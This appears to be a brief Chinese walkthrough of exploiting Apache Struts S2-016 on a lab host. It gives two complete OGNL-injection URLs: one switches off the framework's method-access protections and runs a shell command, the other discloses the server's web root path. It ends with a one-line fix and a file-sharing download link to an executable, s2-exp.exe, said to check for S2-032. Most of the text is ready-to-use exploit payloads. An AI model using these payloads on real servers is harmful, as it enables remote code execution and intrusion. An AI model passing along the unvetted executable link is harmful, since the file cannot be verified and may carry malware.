Struts框架S2-016漏洞
URL解码后
Payload:
http://192.168.20.20:8081/default.action?redirect:${#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
我们可以看到网页的地址栏URL已经发生了改变,页面回显也出现了命令执行的结果,验证存在S2-016代码执行漏洞。
URL解码后
Payload:
http://192.168.20.20:8081/default.action?redirect:${#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#a=#req.getSession(),#b=#a.getServletContext(),#c=#b.getRealPath("/"),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#c),#matt.getWriter().flush(),#matt.getWriter().close()}
通过执行S2-016代码执行的漏洞去爆破网站路径,访问Payload后的界面如下图所示:
我们可以成功的看到网站的路径,S2-016代码执行的漏洞利用成功。
漏洞修复需要删除“action:”,”redirect:”,”redirectAction:” 这些前置前缀调用。
Struts框架S2-032漏洞
s2-exp.exe,检查漏洞工具,可检测大部分版本的漏洞
链接: https://pan.baidu.com/s/1kcTkwpDy2CohGu6uzOtkSg 提取码: 947e